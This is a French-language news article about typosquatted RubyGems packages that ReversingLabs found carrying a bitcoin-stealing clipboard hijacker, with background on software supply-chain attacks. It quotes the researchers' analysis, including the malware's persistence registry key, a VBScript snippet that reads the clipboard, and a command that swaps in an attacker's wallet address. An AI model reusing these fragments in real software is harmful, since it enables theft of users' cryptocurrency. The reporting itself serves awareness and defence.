Pour contourner ces mesures, les acteurs malveillants sont toujours à la recherche de nouveaux vecteurs d'attaque. L’un d’eux, appelé attaque de la chaîne d'approvisionnement des logiciels, devient de plus en plus populaire. Ces attaques menacent indirectement les organisations en ciblant les fournisseurs tiers qui leur fournissent des logiciels ou des services. Étant donné que ces fournisseurs sont généralement considérés comme des éditeurs de confiance, les organisations ont tendance à passer moins de temps à vérifier que les packages qu'elles consomment sont effectivement exempts de logiciels malveillants. Il y a une confiance implicite entre le fournisseur de logiciels et ses clients dans ce cas, et c'est de cette confiance que les acteurs malveillants veulent profiter.
Les référentiels open source entrent également dans cette catégorie. Ils sont particulièrement intéressants, car ils sont utilisés par des millions de développeurs à travers le monde, dont certains travaillent dans des organisations qui utilisent des technologies open source pour accélérer le développement de leurs propres logiciels commerciaux. Empaquetés dans des bibliothèques, ces composants open source représentent les blocs de construction d'application de base. En fonction de la complexité du logiciel qu'une organisation construit, de nombreuses bibliothèques tierces de ce type finissent par être utilisées dans le produit final.
Le développement de logiciels modernes est centré sur l'idée que les composants tiers devraient être réutilisables et facilement accessibles. Ces composants sont ainsi organisés et hébergés dans des mécanismes de livraison de logiciels appelés référentiels de packages. Étant étroitement intégrés aux langages de programmation, les référentiels facilitent la consommation et la gestion des composants tiers. Par conséquent, il est devenu aussi facile d'inclure une autre dépendance de projet que de cliquer sur un bouton ou d'exécuter une simple commande dans l'environnement de développement.
Mais le simple fait de cliquer sur un bouton ou d'exécuter une simple commande peut parfois être dangereux, car les acteurs malveillants partagent également un intérêt pour cette commodité. Il n'est pas surprenant d'apprendre que les référentiels de packages sont de plus en plus ciblés. Il existe plusieurs façons de mener les attaques: en compromettant les comptes de développeur ou leurs environnements build, et en faisant du typosquattage avec les noms de packages.
Le typosquattage est une forme de cybersquattage se fondant principalement sur les fautes de frappe et d'orthographe commises par l'internaute au moment de saisir une adresse web dans un navigateur. Le typosquattage est particulièrement intéressant. En utilisant ce type d'attaque, les acteurs malveillants nomment intentionnellement les packages malveillants pour qu'ils ressemblent le plus possible aux populaires (par exemple, rspec-mokcs au lieu de rspec-mocks), dans l'espoir qu'un utilisateur non vigilant tape le nom et installe involontairement le package malveillant.
Le cas de Ruby
C’est dans ce contexte qu’une équipe d’une entreprise spécialisée en cybersécurité a découvert que 760 packages du langage populaire Ruby contenaient du code malveillant pour voler des bitcoins.
ReversingLabs, basé à Cambridge, dans le Massachusetts, a dévoilé ses conclusions dans un billet de blog. Selon lui, en février, des hackers ont placé des fichiers malveillants dans un gestionnaire de packages appelé RubyGems, qui est généralement utilisé pour télécharger et partager des améliorations sur des logiciels existants. Selon les propres statistiques sur le site, le référentiel contient environ 158 000 packages (appelés gemmes) avec près de 49 milliards de téléchargements au total. De manière générale, un fichier gem est un Tape ARchive (TAR) avec la structure de base comme suit:
Le répertoire bin contient les binaires gem (s'ils existent), le répertoire lib contient le code du gem et le répertoire test contient les tests. Rakefile est utilisé par rake, un programme de type Make implémenté dans Ruby, pour automatiser les tests et générer du code. Le fichier Gemspec contient des métadonnées de base sur la gemme (comme l'auteur, la version, la description), mais il peut également inclure des informations supplémentaires sur les extensions qui seront utiles un peu plus tard.
Les hackers tentaient d'inciter les développeurs à télécharger des logiciels malveillants en utilisant le typosquattage.
Une fois à l'intérieur, le logiciel malveillant a exécuté un script malveillant qui démarre une boucle infinie pour capturer les données du presse-papiers d'un utilisateur, dans le but de rediriger toutes les transactions de cryptomonnaies potentielles vers leur adresse.
« Le script lui-même est assez simple. Tout d'abord, il crée un nouveau fichier VBScript avec la boucle malveillante principale sur le chemin d'accès « % PROGRAMDATA% \ Microsoft Essentials \ Software Essentials.vbs ». En tant que mécanisme de persistance, il crée ensuite une nouvelle clé de Registre d'exécution automatique « HCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run Microsoft Software Essentials ». Grâce à cela, le malware garantit qu'il est exécuté à chaque démarrage ou redémarrage du système.
« Lorsque le script malveillant "Software Essentials.vbs" est exécuté, il démarre une boucle infinie où il capture les données du presse-papiers de l'utilisateur avec les lignes de code suivantes :
Code : | Sélectionner tout |
1 2 | Set objHTML = CreateObject("htmlfile") text = objHTML.ParentWindow.ClipboardData.GetData("text") |
Code : | Sélectionner tout |
WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0
Mais malgré les meilleurs efforts des hackers, ReversingLabs a constaté qu'ils n'avaient pas réussi à obtenir de Bitcoin. La raison ? La voici : « Le candidat idéal pour succomber à ce type d'attaque de chaîne d'approvisionnement "spray-and-pray" est un développeur Ruby dont l'environnement de choix est un système Windows qui est également périodiquement utilisé pour effectuer des transactions Bitcoin. Une race rare en effet », écrivent les chercheurs.
L'entreprise de sécurité a contacté RubyGems deux jours après avoir découvert l'attaque, après quoi les fichiers infectés ont été rapidement supprimés.
RubyGems compte 158 000 packages avec près de 49 milliards de téléchargements au total - et semble être une cible populaire pour les pirates informatiques qui veulent voler des cryptomonnaies. L'année dernière, les chercheurs ont trouvé un logiciel de cryptojacking, qui utilise l'ordinateur d'un hôte pour extraire de la cryptomonnaie, dans 11 bibliothèques Ruby.
Bien que les entreprises de sécurité découvrent souvent de telles attaques, les pirates essaieront toujours de trouver de nouvelles façons d'accéder à la cryptomonnaie des utilisateurs.
Source : rapport des chercheurs
Et vous ?
Procédez-vous à des analyses lorsque vous utilisez des logiciels tiers au sein de votre entreprise ou pour vos projets privés ? Dans quelle mesure ?